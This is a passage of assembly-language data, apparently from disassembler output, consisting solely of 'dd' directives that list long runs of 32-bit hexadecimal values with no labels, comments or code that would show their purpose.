		dd 0DFA07919h, 1118CA57h, 0A2992288h, 1CB138h, 241CDB29h
		dd 230AB10Ch, 0D93D3477h, 82BD9700h, 60DD2BEh, 885BC080h
		dd 0AC0B41C3h, 0DDF24CD5h, 94E48606h, 2FFB4150h, 0B497BA0Bh
		dd 5024183Dh, 0B5B70954h, 0D4018BA4h, 483A5CBEh, 6E1E8098h
		dd 70C0481Ah, 294483EEh, 8AB118D5h, 36A5F9A8h, 0A4019EFAh
		dd 0D91E1CAFh, 0B0C58BCBh, 0D3292180h, 0D8F108ADh, 0D4322200h
		dd 0DBB2407Eh, 39E6043Fh, 95F9C1CBh, 34B5804Ch,	0E0926104h
		dd 6F6BE100h, 0E31772DDh, 39D90ECh, 3B63CABBh, 0F1026989h
		dd 0DA2B9AD5h, 0AB8A6391h, 9219183Ch, 6732594Fh, 0BF739900h
		dd 4B087F19h, 0A81209D5h, 100255E2h, 0F5232ECDh, 0D06053B8h
		dd 20E8AA16h, 80AF4F18h, 5004D9D4h, 8A08380h, 0DA073CB5h
		dd 0EB40A428h, 6043AD82h, 0B0E7327Ch, 0DD31C9E0h, 9300F814h
		dd 9D51DE44h, 13D142A7h, 182B96B5h, 5C332124h, 59C3A80Fh
		dd 20AFAA48h, 8E073111h, 0B06C0F2Fh, 0BC131A04h, 0E5D14E01h
		dd 0DC8879F5h, 23B31BFh, 0CFEE669Eh, 0C9E0853Ah, 9F91ED99h
		dd 0D9813838h, 1863C074h, 0D77A75h, 0E7355346h,	17281F12h
		dd 527D7300h, 0F50BA2C2h, 30EA724Eh, 0AA39B496h, 0B9C063E9h
		dd 0AD744C41h, 0ABDD0C26h, 391953BBh, 0DEB80254h, 80344138h
		dd 6771C3C4h, 5143D64Ah, 4C21CCE3h, 0A6B1C418h,	0C2A43B88h
		dd 0F1BBB612h, 6C1060F2h, 0E0604789h, 44DBF481h, 0D8A0F5FBh
		dd 0E0015C87h, 0AA2F96B4h, 0EC4852BBh, 80CCA5ADh, 2E78737Dh
		dd 0B306F670h, 32B89423h, 3A251230h, 6466107Ah,	4054163Dh
		dd 80B403CEh, 3A54EA13h, 2112BA13h, 51972D04h, 0FF9498C8h
		dd 389B8180h, 0BDAAF0A4h, 170B349h, 1723ECB6h, 7C40E484h
		dd 13960228h, 4F67D430h, 4740A410h, 68BBE65Ch, 0CCA54F24h
		dd 0C7E21940h, 343E3017h, 9529CA41h, 396D9F08h,	40749E47h
		dd 0FAD435DEh, 7C790A34h, 8BA18400h, 0B7DC3DCBh, 231E0B42h
		dd 0A4123916h, 1428C1h,	0E202240h, 8F173006h, 8B00A9EBh
		dd 0C3AB4634h, 0B34F3D0Ah, 6844ACA6h, 22C59540h, 5CB025DAh
		dd 4C15B498h, 0C7303E19h, 2D0099Ah, 0E6AA0DF2h,	0E780143h
		dd 5F8AA11Bh, 0D8D85D35h, 0EA01697Ah, 834FEFE2h, 64FE0B98h
		dd 0FD6E3CD0h, 7395CB00h, 2CCE24BBh, 0E9A31A00h, 9CB6A439h
		dd 305C0A58h, 45B8B4AAh, 20ACC425h, 9DC1ECA8h, 7798B605h
		dd 0AC300116h, 31AB3B7Bh, 39B944EDh, 1CB05045h,	2A038363h
		dd 179A0B28h, 4DDFA846h, 23120E72h, 15A08E32h, 7A4F52EBh
		dd 93826816h, 80555C03h, 189DE92h, 0C3F7DCABh, 0E8B5D618h
		dd 4B00B1EDh, 0AE4FF283h, 268CD3C1h, 881CB2D0h,	39925AECh
		dd 6F888020h, 34533A7Fh, 1900B2A0h, 98BE1CBh, 787B411Ch
		dd 441F0E1Ah, 0A68F324Fh, 841094CBh, 2400E37Ah,	0AE432CDBh
		dd 21051BAh, 0C3BC72B8h, 0D0C315C9h, 0E33BF176h, 0E02B81EAh
		dd 0AA8823CCh, 2D4E1980h, 0B8C47ADh, 0D8564600h, 697E725Dh
		dd 502409D1h
		dd 0E282A4E5h, 805AB4ABh, 4181DECCh, 17EC3B84h,	2EF2B4D1h
		dd 0EC3C6293h, 5C304010h, 13803C2Bh, 0F6B5DFE8h, 0B0D8B46Ch
		dd 27804498h, 6143A31Ch, 5B7B7A00h, 5B76277h, 41CC1288h
		dd 176C008Bh, 996F2DECh, 889058F0h, 24A210EDh, 35782582h
		dd 1F133C80h, 0F214DE49h, 814C6346h, 75CE12BFh,	6C00D421h
		dd 0FC9EECB5h, 0F9AF10AAh, 0F5250118h, 105F9F26h, 30916AD1h
		dd 80685CB0h, 940CDF02h, 0F7E8011Ah, 0E66ADBFDh, 0DCE6CEAAh
		dd 0EE7CD107h, 5BD0F38Fh, 0A52458h, 72B05C13h, 0D91D540Bh
		dd 5FCA3Eh, 0F493A281h,	0A0411519h, 6A76E88h, 0E73AE1D2h
		dd 0CF2E086Fh, 516FA42Eh, 20941328h, 190A3A9Eh,	7CF511AEh
		dd 0A6124140h, 4C149073h, 19680E5h, 0F56FB272h,	40E98469h
		dd 5040DC8Ah, 0A93F17F0h, 328FB000h, 5A5F3E90h,	0E8230021h
		dd 46C3861Eh, 2D518813h, 6C2344h, 0D06F0B07h, 1A9C3D8h
		dd 923C5F31h, 0E9D1C2E8h, 313BFD46h, 0A1B8C6h, 7B19EB0h
		dd 719A048Ah, 3E0100F0h, 0E6E1E20Eh, 85004916h,	0BBA67692h
		dd 0E13043A0h, 0F82C0032h, 846F00B8h, 49F5AA40h, 0D8AB4F29h
		dd 0C85FE06Fh, 0E758232h, 0E423E03Fh, 0BC4A1AE1h, 64228Bh
		dd 19D59958h, 3FDE3FAh,	40E49BB3h, 3AE90580h, 4C9C6233h
		dd 52007EC5h, 0A7F445C3h, 9A26A92h, 0A4A083B3h,	60E90482h
		dd 0D3A62520h, 59347E47h, 0E3008882h, 7FB013AEh, 0F4FF35EBh
		dd 550C5BCAh, 3977AFABh, 0E0B24C4Fh, 59480896h,	0BAB014BEh
		dd 0F4F42A70h, 8094925Ch, 522E93CBh, 0E5D00EA5h, 4897DB1Dh
		dd 8A492FB4h, 1260D8C0h, 0C5764E0h, 5C093F16h, 5E379618h
		dd 26E438D4h, 0B02A7037h, 0ED137768h, 981EDDC9h, 9898BD58h
		dd 523541F9h, 608F8A64h, 0F578FB00h, 9A02BCA1h,	2D27D4CBh
		dd 0DEF08170h, 0AC60B931h, 39F5889Fh, 0A6D04B07h, 1266CC6Bh
		dd 0A9883081h, 0D6AD6651h, 793AD5FEh, 0EBB88934h, 6A10315Eh
		dd 16CF6217h, 40DD2084h, 79FAE6D3h, 53FB00B7h, 4B18CD04h
		dd 0CC0AE531h, 0B0B5B828h, 496646h, 1E4FEAF3h, 477A5FAFh
		dd 0E843944Bh, 800DF9D4h, 0EEE2DCh, 0A8110FE6h,	42EFF0A2h
		dd 9659671Eh, 0DD0208ECh, 0E05EA0ACh, 1FFE388h,	4858BEA6h
		dd 21CA99E9h, 0F03C075Ch, 4CC509ECh, 0A9B0CC50h, 4C056640h
		dd 0DE805C34h, 0D530B445h, 819C9A54h, 0E13AC114h, 28888AF4h
		dd 3246003Ah, 968648B0h, 4980FB17h, 10C1CB9h, 0AF4EE03h
		dd 0D7F480F2h, 53822614h, 742C7DC4h, 61CC010h, 4D47D204h
		dd 6173FC81h, 1ADC0A04h, 0A81138h, 2DAE96F8h, 2C4A9EC2h
		dd 0A97264Fh, 44ACA5B3h, 0E99840C3h, 5E4714h, 0CEA93E6h
		dd 46CC37FFh, 56E89C1Ah, 0AC5849B1h, 3DBD060h, 38ABA50Ah
		dd 79228010h, 0E5900DCh, 7B271806h, 0B60E5AA2h,	404978EDh
		dd 0BDC2DABBh, 33564092h, 2D004DFEh, 98FFCF46h,	3D2FBEB4h
		dd 0B0DCB3AAh, 78ECBB80h, 0D890F454h, 0F6102517h, 34167E02h
		dd 48A04BB1h, 4A80F888h, 8FC99CF9h, 8598A700h, 5BFA277Bh
		dd 0F8C70081h, 0F6BFA457h, 0CC9CF44Bh, 652DFD40h, 0B7B60030h
		dd 0AF8DBA5Dh, 183D370Ch, 247A72DBh, 94A8B35Eh,	591BAC05h
		dd 0D0ACCC2Ah, 317A550Bh, 2E8987B8h, 0EBD27990h, 0EE7E0061h
		dd 7C81C956h, 758C6F8h,	537B072Ch, 0D035A84h, 0C080B44Ah
		dd 9688143Ah, 45F78FE8h, 0AF3D5260h, 9220B855h,	67809CDFh
		dd 0B0B70032h, 0EF0056C7h, 5F4E96E7h, 138F584h,	27CB05C6h
		dd 0D281542Ah, 32612449h, 347700C4h, 472BBD7Ch,	6FF8ADh
		dd 1F442769h, 52BC0929h, 0AB3CAE06h, 7962D7h, 0CC68AD88h
		dd 13BD067Bh, 309FF13Fh, 0C3EB51C1h, 0A31A0026h, 762F25DCh
		dd 0ACEE69D8h, 4C90C800h, 5EA87C9Ch, 1C57001Dh,	8ABAB938h
		dd 9500CE98h, 60253437h, 38842A9Ch, 0FEFC065Fh,	647B6Fh
		dd 2E87B899h, 0BF1A89F5h, 85B81FF2h, 0CA9D7700h, 0D271F88Ch
		dd 0BBCE377Eh, 352FC140h, 50F3D4E5h, 595A2630h,	73AEC61h
		dd 89114BF8h, 127AC071h, 0D70396B0h, 0CA9A1E06h, 0A856B8F9h
		dd 0A4580169h, 0CF130B0Ch, 0D6D1084h, 0FB320062h, 0C3AD9FDh
		dd 0EC05C1B8h, 5006D355h, 60A42B80h, 71F16C9h, 0F43400C5h
		dd 252C0E70h, 489D6930h, 335C9BEh, 5AC36047h, 19786B36h
		dd 0D9C032E0h, 990D2F2Bh, 109862B3h, 1480252Ah,	424FD820h
		dd 0C0286C0Ch, 301C60D9h, 57E96204h, 63004002h,	0A5FA7C21h
		dd 0E8D3A256h, 1F47849h, 0E742F5EEh, 0F0BF2A50h, 5F006FC6h
		dd 3873841Dh, 31EA8CD6h, 28882D68h, 1891801Ch, 44EF1554h
		dd 76350065h, 48873AAAh, 0DC984D5Fh, 0F283393Fh, 0B03194A8h
		dd 0D6FC23Ah, 0B9CBFDCDh, 7B357F0h, 2DD3CF38h, 6851708Ch
		dd 0BBB0B244h, 0D2E73D04h, 83E815h, 0D4793830h,	99A0B501h
		dd 81937437h, 5A7ABF38h, 59816626h, 35121CCBh, 0FEE0E434h
		dd 3AA27200h, 0B19D6C8Eh, 9E7706BDh, 3074D0AEh,	326FFC02h
		dd 80E88334h, 0A92C3858h, 83B6163h, 8035286Fh, 10A2E781h
		dd 3327A4Dh, 8CDD1FF2h,	390D86EDh, 590C1DBDh, 84DECE0h
		dd 8ACA2DD2h, 0A469CE0Ah, 64889680h, 362B9Bh, 0E11DBF3Ah
		dd 2818DFB7h, 0D0B57E00h, 8DF7C2F6h, 0EA84116Ah, 26607FC3h
		dd 0A1EB7A89h, 18830266h, 0BFB39E69h, 0CF290C48h, 0E348C850h
		dd 0EA807891h, 0BE82988Ch, 0C9F8B4h, 4F3B97FAh,	9CBD5BDCh
		dd 0CC77F900h, 3E0D63Eh, 0A24900FFh, 0C2B62ACAh, 45782E6Dh
		dd 57C5B10Ah, 1F01442Bh, 673BBBD0h, 2C30D0E7h, 88CE30F3h
		dd 0E12D8A81h, 8F040E00h, 9A954A58h, 9473507Ah,	0A09B146Bh
		dd 2B1BB42Dh, 37C8510Fh, 660046E5h, 986BADD5h, 0CB8480Ah
		dd 87CD961Ch, 85005859h, 680349A4h, 2051F6Fh, 8B3AFDB6h
		dd 1C64041Dh, 31C0CE7Bh, 0A71674CFh, 49101BFh, 11C6671h
		dd 9E144258h, 99E6ED20h, 78C00C8h, 203F5D2Fh, 0B8022BE4h
		dd 34CF866Dh, 9C9E0133h, 0F8B849BEh, 23E11C5Dh,	802815E8h
		dd 74200C8h, 3F1C372Bh,	6D38A05Bh, 7E80832Dh, 4E037FCAh
		dd 0FE7544C0h, 88A0AFE0h, 486C9516h, 0F5384C78h, 0CF007969h
		dd 0E78AB05Ah, 0DC705E09h, 0CB43126h, 0C307DF9h, 0FD27E01Dh
		dd 0FD704Ch, 3C22E6BBh,	273A371h, 4C5A900h, 5FE5A058h
		dd 9D324003h, 0F13F3700h, 0EB832A80h, 9EB1C360h, 0F9295698h
		dd 0FB00A025h, 631E537Ah, 0D37A0Fh, 575105A0h, 9869066Bh
		dd 0A5C2BD14h, 3FAC22E0h, 49681C0Ch, 12F51298h,	0CD5C001Ch
		dd 0CAB2C405h, 43F65B17h, 8154DB09h, 9FFE5E58h,	6B06B423h
		dd 0B12225AAh, 0B4F430Bh, 7C80754Ch, 1792CD3Fh,	9B8D2A0Fh
		dd 507E6CAAh, 689A000Ch, 6741A31Eh, 696328BCh, 3BBB3A79h
		dd 0CC9FFB91h, 0E8881CDAh, 9C6720A8h, 12BF4E44h, 256AC0Ah
		dd 7407A7BCh, 0D4F6A400h, 0E2181DFFh, 0BD3C458Eh, 60448168h
		dd 40AC490Dh, 1D9F2908h, 4467013Ch, 11D9CE81h, 3BDB020h
		dd 8F8A4C6h, 803B6F00h,	56E9CC32h, 89430002h, 3EDD10CAh
		dd 7501D1AEh, 3BA24F39h, 0CC527682h, 3121205Ah,	0C90036CFh
		dd 0A303AC37h, 5783B1h,	0A2B0A1A0h, 7C98479Dh, 0E1BD6B16h
		dd 0D3A90C07h, 1D875100h, 506D5003h, 562388BBh,	94EC2F01h
		dd 9DAF2544h, 0B01CB427h, 0AE49400Dh, 0F1ECB7BAh, 6C252E18h
		dd 0AFB129h, 2F099793h,	0A9ECD008h, 25A4161Fh, 9020D5h
		dd 0E9618E27h, 1A0BC86h, 28F4C31Ah, 0F0E61E01h,	0DE03871Bh
		dd 51D5220h, 0CFE9245Eh
		dd 0BDC740A8h, 7300B8A8h, 7C8DCA8Ch, 1EFFD32Ch,	5D0445AFh
		dd 0E198FEAEh, 1D28316Ch, 0AA2E79C2h, 7EE05D26h, 21007B65h
		dd 552B4A75h, 7E7E58Ah,	386C1CF8h, 316BD2B0h, 1DF00C4Bh
		dd 0CE882B39h, 0B459C010h, 9DD49314h, 7E539E00h, 61755A82h
		dd 8EF71687h, 8C1E0244h, 44841BEBh, 0E02A4E21h,	326BA9DAh
		dd 1E6400E2h, 40C64DB8h, 0E1017D54h, 0D2225387h, 3187863Ah
		dd 998D6529h, 0F866AB00h, 642E44B1h, 0F660104Ah, 1918E38h
		dd 0BEC908D3h, 87272876h, 1ACDD71h, 0CED0A701h,	79006C72h
		dd 573BB93Dh, 0C2B05AC9h, 80374B05h, 60CC85DBh,	4F528865h
		dd 0B3341E00h, 92AB9562h, 52700DAh, 3098FBD3h, 4C5C58C2h
		dd 0B073C96Ch, 7FC4F5A0h, 4C257992h, 98500431h,	6C8C8A20h
		dd 0C41ECD29h, 1100B1C1h, 5D25D92h, 0F5430BAEh,	0FCA0A3EEh
		dd 0CD3EC75Ch, 5EF61D03h, 79190260h, 6E3A3749h,	5F18C581h
		dd 495B1EBCh, 0E00185AAh, 48B18057h, 0F6005AACh, 55CB3459h
		dd 306C51h, 0A5D7A0D6h,	17610624h, 0B24A5Ch, 3932BA5Eh
		dd 0C31ACFA4h, 7B3AF459h, 2033F7C0h, 0FA215800h, 0AF0AC1B4h
		dd 59900FFh, 42BE9645h,	0A82838D3h, 60B18031h, 4ABAAD01h
		dd 77F40B19h, 0CD8603FAh, 45BE7212h, 0F0F8A5ABh, 0EC015ECCh
		dd 7CF532DFh, 146016DCh, 0C81C04Ch, 9E677AE8h, 769CB513h
		dd 91D35020h, 11BF0F45h, 374AC4D2h, 25424084h, 489B8328h
		dd 4C4FC983h, 27DEF007h, 0A4B01C5h, 0E6769195h,	65CED9h
		dd 0FFE8BB00h, 7C53AEDEh, 610261FBh, 548A8F9Eh,	9958C2ACh
		dd 71B2823h, 0A2F92B81h, 805719D9h, 5731EF55h, 8738942Ah
		dd 10B7C78Ah, 6D25AE8Dh, 0FC90D900h, 0EF54A875h, 5390C40Dh
		dd 0FC2C8D80h, 4500C960h, 0E5BDAE5Dh, 0C06FCF13h, 7F49AA91h
		dd 0AD1DB982h, 0D54001F5h, 6127390Dh, 14717745h, 84B55E76h
		dd 0B1E8830Dh, 62F821B1h, 0BAF509B4h, 0ED3C05ACh, 25BDB088h
		dd 0BC2726D3h, 0BBB60B0h, 0EC0EDE12h, 3CD21992h, 4135C009h
		dd 0C9319E88h, 609451A4h, 0D458FB5Dh, 0DC19DB0Ah, 8160B0FDh
		dd 2BFC7F2h, 56EDC6F8h,	0A4469D80h, 0DB88ACBBh,	4600A39h
		dd 883B44A4h, 0C4000670h, 0A0D92C32h, 7385BD80h, 0D0B3029Ch
		dd 740E3DF1h, 11339441h, 71915ECAh, 0E3831CBCh,	313570A2h
		dd 90086FC6h, 8432CDh, 1F864E45h, 803E79h, 1498EDB7h, 8FD9DAD5h
		dd 9A000FF2h, 0CD357412h, 0D6EC5Bh, 2A3295B2h, 45671F1h
		dd 11856B0Fh, 90305283h, 0A25EBAh, 51E80FF5h, 3F70AC58h
		dd 7625CF7Fh, 0D1F022B0h, 89EC0A69h, 7C63CC85h,	0CAA0C480h
		dd 0B3BE3700h, 2498EFAh, 0F8C1FA38h, 70BD28B1h,	298844F4h
		dd 50811C91h, 89D23C76h, 0E513ECh, 974306ACh, 0D5589EA6h
		dd 38D6B405h, 0E80469A9h, 68D209FEh, 0E9001631h, 0B524029h
		dd 1F98B0C9h, 41484C71h, 0AC05FD3Dh, 68C9A982h,	1689F484h
		dd 85EE60D1h, 3875191h,	2E42561Fh, 420CF10h, 34C55F5Ah
		dd 8C21AF3Bh, 943D39D8h, 0C4E880D9h, 27C7DC2Dh,	87D12A1h
		dd 2C7C01CDh, 30F48A01h, 50913A10h, 583B3C00h, 0D8D363h
		dd 0B02749Bh, 0A92B9147h, 3F37541Ah, 4C66F8h, 0F689DAD7h
		dd 1E5AED06h, 0F3F49524h, 0B848FC17h, 0A4F18082h, 15C6A3DBh
		dd 4413CE7Ah, 830F61DDh, 8C20F63Ch, 0E8FCC4FEh,	4DD20020h
		dd 0AF635BC2h, 19036CC9h, 0A3DE09E6h, 0D8D8B5DCh, 0E1B89406h
		dd 0F8AFE9D0h, 1401E5DBh, 1F0FB8EDh, 60E00615h,	0EC1C5C25h
		dd 0AABD3EC8h, 9B009C64h, 0C65373F0h, 0CBB5C4h,	381A6895h
		dd 0A6423CD7h, 0CD373603h, 0FAA2584Eh, 0E3B89326h, 357FC892h
		dd 38600C3h, 1F0DBAB9h,	7028AB3h, 7934BFADh, 8398E85Eh
		dd 2CF891E1h, 0F81001CCh, 335EDA28h, 394F07CCh,	99C193FDh
		dd 0E630D3D8h, 0A7A4A85h, 14CD14h, 9E3CB5EDh, 0F33B474Bh
		dd 0DC4D0ADDh, 6508C04Ch, 0EC830475h, 2530E786h, 27ACA469h
		dd 0C68C8h, 34A29399h, 0B264C010h, 7C12C879h, 0EC1E356Bh
		dd 5BCC2765h, 2A559DC1h, 0B5003472h, 0ABCE18F7h, 5144D063h
		dd 2DAA13BDh, 0BFE7F0E1h, 5CD0A048h, 69021190h,	96DE050h
		dd 0D233ECD8h, 83265040h, 0BC20F44Eh, 9E3ED4h, 0BE05CF35h
		dd 4FE0D27Ch, 194C9F48h, 0F1089CCDh, 4C83E360h,	0BD8C50EAh
		dd 534D56D2h, 6D04840h,	182A365Eh, 0F6A024B9h, 0BA5F006Fh
		dd 43769F85h, 48B04F5Ch, 7E15C0D8h, 58D0126Bh, 0EE028B4Dh
		dd 0CEBD3350h, 4B0108E4h, 0C12FADDFh, 49E070B3h, 27BF1FB7h
		dd 2B4440FDh, 0FF532397h, 7028189Ah, 0DC7B4028h, 9BA9CA00h
		dd 0E4B90850h, 0FB1C1663h, 0E0788826h, 0F8C0D0ABh, 35002F4Ch
		dd 0D28D353h, 5CAF3A34h, 0A427D872h, 0E1730410h, 88CC8D1Fh
		dd 0ECC0DB1Fh, 8117C9EBh, 0BBF0287Fh, 702650C4h, 0BC430173h
		dd 0F9A3A274h, 123C71CDh, 0E31098C0h, 4A570B17h, 0A090813Ah
		dd 951D11DCh, 0F5077C7Eh, 0B36031F7h, 30BDB619h, 1529543Bh
		dd 0EB0E11C3h, 208A4AD5h, 8B948820h, 0A840030Fh, 82EC8CDDh
		dd 1A286918h, 3D8875F9h, 1380354Dh, 5E91EE2Dh, 849E8027h
		dd 9C26F543h, 7B00A4h, 66D58175h, 6D2CF15Bh, 9E410902h
		dd 90CED9E1h, 6DB89A0h,	52506FA7h, 16034985h, 2DE826F7h
		dd 0E0CCD474h, 0CAB9008Ch, 81FE024Ch, 8FF80DF3h, 0D3CCAF12h
		dd 1DE42CC8h, 0FE70B55Fh, 98C3B000h, 0C04585A8h, 0A11C7302h
		dd 0D0D6D78Fh, 0F5BE1964h, 603779D1h, 6700025Ch, 0B9133645h
		dd 278FC5Eh, 0A09598DDh, 70CC9E52h, 2C5841EBh, 3DD19C63h
		dd 0A034BA4h, 98352862h, 1275F737h, 9D3551Ah, 0A8003D78h
		dd 0FEE8316Dh, 389ECE22h, 0EE484A81h, 1B0E7E00h, 0ECC56636h
		dd 0A3F3F906h, 1C29B2CEh, 7C1C1ADDh, 59B9BA81h,	0DDF36CDAh
		dd 1FB02206h, 0D90E30E0h, 0A31CA089h, 616B4731h, 1E607038h
		dd 10D0294Bh, 284693Bh,	0BF374132h, 0B7F0132Ch,	0B09E12B6h
		dd 466888EBh, 0A52E6B13h, 56F33805h, 84422784h,	20612DCAh
		dd 3A054814h, 13B6E0Fh,	1B15A3C9h, 4BF4C1DCh, 0BB3161D8h
		dd 82A39D74h, 57C95F9Ah, 2D44BC61h, 0AFC3C0D4h,	4050F2h
		dd 174953A5h, 4839ED04h, 0FACB7302h, 0C07F9580h, 827563D0h
		dd 0ED0068D9h, 0BF08D746h, 98CC0072h, 306224EAh, 330996E3h
		dd 0E08576ACh, 36B7180h, 43024DD9h, 2D902AA2h, 6CBCCDCFh
		dd 0A0966540h, 8CD0127Fh, 9D5488EDh, 0CE8A1CB9h, 0B10A0CA4h
		dd 4BA09Fh, 200C3C7Ch, 356CA024h, 0A8700C5h, 0F8C39089h
		dd 273D1FE3h, 2FCD00F1h, 4646914h, 5EC80386h, 0A71596E2h
		dd 3C26B124h, 0ED6ABC40h, 6EEA00F4h, 0DAF0C28Fh, 0FE0A52A7h
		dd 4CBFB299h, 1898B420h, 9B9EBA0Ch, 9E251955h, 72888F3Ch
		dd 0B48DF1A0h, 73FE1552h, 705D0803h, 41CDAh, 31BA8431h
		dd 0D5F6A5C8h, 57F9A207h, 0C500D4B4h, 5A8CCBA0h, 1C9021EAh
		dd 156C3201h, 9DFC1F60h, 8CDABCC3h, 16C97CEFh, 883A1D42h
		dd 717CA054h, 6C20F65Eh, 0B6CFA5D6h, 6C98078h, 0D73B27F8h
		dd 0A47B2E1Dh, 7D415059h, 0D134D0h, 0AE619F4Ch,	9CD81126h
		dd 6F75ED00h, 0DF735C83h, 0CF142EAFh, 0D68B4200h, 1F80D48Eh
		dd 39045598h, 18F010C1h, 3078F9CDh, 1D38405Bh, 0C1D43B03h
		dd 909032F0h, 57AC2600h, 0FDD3DE75h, 806CB153h,	0D59181AAh
		dd 0B900A0D6h, 0A967F611h, 31DE6B04h, 0F7408315h, 0E8C0304Bh
		dd 15B9844h, 0A08E306Bh, 336F7A99h, 0F8CD0074h,	2363E6ADh
		dd 96D81C04h
		dd 1D1F8391h, 2AB0BEA6h, 0BD126905h, 0AC099F7Eh, 7D60C25Ch
		dd 7CC85562h, 0C18A81EBh, 4ED28FC0h, 7DB009Ch, 620D8C8Ah
		dd 501F103h, 0EE632E8Eh, 8C501ADFh, 3565116h, 0BEE9F40Ah
		dd 0B0C4E632h, 0A496F500h, 0D1200D40h, 89761870h, 0BA55317Ch
		dd 3E1DA014h, 487380F8h, 0F063FE29h, 3CB49842h,	61806D03h
		dd 0A95D4AC9h, 0BB16C61Ch, 3713B6BDh, 0C131E8D0h, 4698003Dh
		dd 273BFE74h, 0F2006AD8h, 42E79A07h, 908A459h, 0CDE458AFh
		dd 242A5C00h, 7F0023BFh, 2BCC3EC7h, 265ED0h, 0FAFCD350h
		dd 68F60DEFh, 0A8AE9E18h, 0BEE283A1h, 0E41650CCh, 49912C00h
		dd 9C1B2553h, 565000DAh, 630FA29h, 130093A6h, 60A43436h
		dd 0F2376DE1h, 40C2034Eh, 845D3056h, 28C421DDh,	4B598034h
		dd 9C8B1C54h, 0BD7D00B7h, 37255D26h, 4DB0078Eh,	0B380E0BCh
		dd 1DC3A2CFh, 51C4BC01h, 58A7FCD3h, 0E6C31F00h,	26E23B55h
		dd 899CA86Dh, 97CE005Fh, 0B7538DFDh, 0DF1631D4h, 5888A3FCh
		dd 0C27D0001h, 1D896A5Ch, 264CCD30h, 7B5080F4h,	140ECFFh
		dd 698A014Eh, 0E8B8CCD2h, 5F00AAC8h, 64171EE2h,	272B8575h
		dd 9C83F883h, 0A11780E3h, 497969Eh, 0F859F5C6h,	0FD650732h
		dd 0C1363B19h, 223A0C86h, 0E5FE7250h, 6AD53500h, 5784ED1Ah
		dd 8F310011h, 0C62C2D26h, 0CB174BEEh, 900874F6h, 0B49F818Eh
		dd 0D09B04E5h, 1C007A19h, 5F7C92ACh, 0F283F596h, 60285C69h
		dd 0C0679887h, 0CA8D3C60h, 0A7592000h, 3F9A3312h, 2B4C126Bh
		dd 3B600EBBh, 0CE871F71h, 56FBD600h, 4C681C5Ch,	50849878h
		dd 86ECB43Bh, 0C52D171Ch, 0F01299C0h, 7D62BAF2h, 8CF41C8Dh
		dd 90E196E0h, 30D4BD98h, 8480D92Eh, 17D20960h, 6EE4044Bh
		dd 808370D6h, 0DFDB87B9h, 0A1A4A05Ch, 0A04094Ch, 45BCE0C0h
		dd 73502038h, 0D80042AFh, 0E9261EECh, 0A43BB6BCh, 0EFF900B8h
		dd 44C0204Bh, 0BE1F08FDh, 0F9AEB67Ch, 0D8D44900h, 96A6E1Ch
		dd 0F27A21A2h, 64F06088h, 0A4E0339Ch, 0ECC03054h, 345869FEh
		dd 20B79B13h, 0C06888h,	0EF669022h, 11B3A0B4h, 1D57D00Bh
		dd 195C993Fh, 0B9144208h, 7C9C4D7Eh, 93BC054Ch,	0C5FFEC00h
		dd 425087Ah, 56AE909Ah,	8EFCA07Eh, 0EA052B07h, 6811F79Fh
		dd 398052BDh, 0F5C4992Ah, 400FB92Eh, 6045311Fh,	3F23EEF4h
		dd 0CFB200E0h, 7365E226h, 0CAA10E50h, 0F77C3058h, 125EEC3Ch
		dd 6820CF16h, 1EA22C53h, 45706399h, 0AE33727h, 45F47DF6h
		dd 95B82052h, 27024A4Dh, 0D5F9E68Bh, 126B6038h,	0ECD33BFFh
		dd 536CC085h, 8484F41Dh, 492B5637h, 0C23EC881h,	6FF18761h
		dd 47803038h, 29F6976h,	2B542A12h, 0E091EC93h, 0E87EF46Dh
		dd 315D1733h, 99F4005Ah, 5FFB5056h, 6F1A3205h, 60C0A5D2h
		dd 58E2D65Ch, 4DC0B455h, 0E66E1062h, 0DCFF8100h, 0DFBA91CBh
		dd 5E920BF7h, 8E803CFAh, 4571368h, 2026752Fh, 556E084Ch
		dd 257A1294h, 1C0CA0B8h, 9C470745h, 0F44463D7h,	0BD0044ADh
		dd 8C9C0B3h, 90C7B194h,	0A0F0F360h, 98BC2D45h, 0B814E7D8h
		dd 0F5430004h, 84730456h, 248551EBh, 2A1DA820h,	384232Bh
		dd 18379651h, 85B8F6ACh, 691EC64Fh, 0B7809310h,	0BB1CE65Ch
		dd 5CA0958h, 0A0041AC0h, 2238546Fh, 0F8D3262Dh,	0A65A63C0h
		dd 433A3ED0h, 5CEBE002h, 0C0B40736h, 8076EAB8h,	0BB48E183h
		dd 8585C898h, 0C0D1EB01h, 99BD6FF6h, 2489701h, 0A22BBB74h
		dd 38A3F3C8h, 0B701C738h, 0B3A8E31h, 0D0002E20h, 932FA608h
		dd 20345F37h, 0E901EB4Ch, 4D81D02h, 0EAC44AA6h,	0D8715Ch
		dd 0B1C39233h, 12009C1Dh, 542BC94Dh, 38CB0CC5h,	99BA515Fh
		dd 0A60A5582h, 6CC058E7h, 9C4AFBF5h, 23BC8422h,	4194F483h
		dd 60C41835h, 48C5A645h, 100BE472h, 0AD58FC2Bh,	26E4C2F4h
		dd 21082064h, 8A0016D3h, 77AF633Ah, 9554419h, 5F14CBEFh
		dd 0B70000E4h, 970AD263h, 1D7E6722h, 80B13943h,	98EA8AB5h
		dd 190085E2h, 0FAFDD04Dh, 88352B0Eh, 560027E4h,	0BBA73003h
		dd 26692C3Ch, 0F87DDCh,	331DA357h, 3705F8A2h, 0D35A0495h
		dd 1F7F888Ch, 32C3EEAh,	0E29428B2h, 0D51B0CE0h,	5EDCC81Eh
		dd 433E1F0Eh, 0A8CAB674h, 0A9573AAh, 37A25665h,	1C0C05E8h
		dd 88781239h, 83393AFCh, 438200B3h, 38C6D652h, 30275E79h
		dd 7E2D848h, 9CB43E28h,	6636CA00h, 49829C06h, 0FE1E12FBh
		dd 65E4A056h, 108330A1h, 0D61E7Bh, 5CF45B39h, 14508193h
		dd 1F5F4800h, 0CA9F41FCh, 0A25712A5h, 2AE40BE0h, 6E6924E8h
		dd 0E791201h, 9B650FC9h, 98ABF070h, 0AC349633h,	760E60F0h
		dd 88BA5966h, 0DF2BF713h, 0EF722C41h, 0C070A22Eh, 983505A3h
		dd 680F32h, 0AD8ABEBCh,	8024569Ah, 0ED6230B4h, 0B425259Ch
		dd 0A00B5F8h, 9207F7A8h, 0AC54FCh, 0C14F7FC0h, 28ABDFC8h
		dd 259EDC12h, 0CB2AA491h, 6E60F1DDh, 0E96F0061h, 0BD98834Bh
		dd 7B096733h, 35710BFh,	273FDBCh, 0F6A92930h, 0E041E40Eh
		dd 0D498F2CAh, 0B0EC577Eh, 0A6931E00h, 0F3BAEF43h, 0A9716E2h
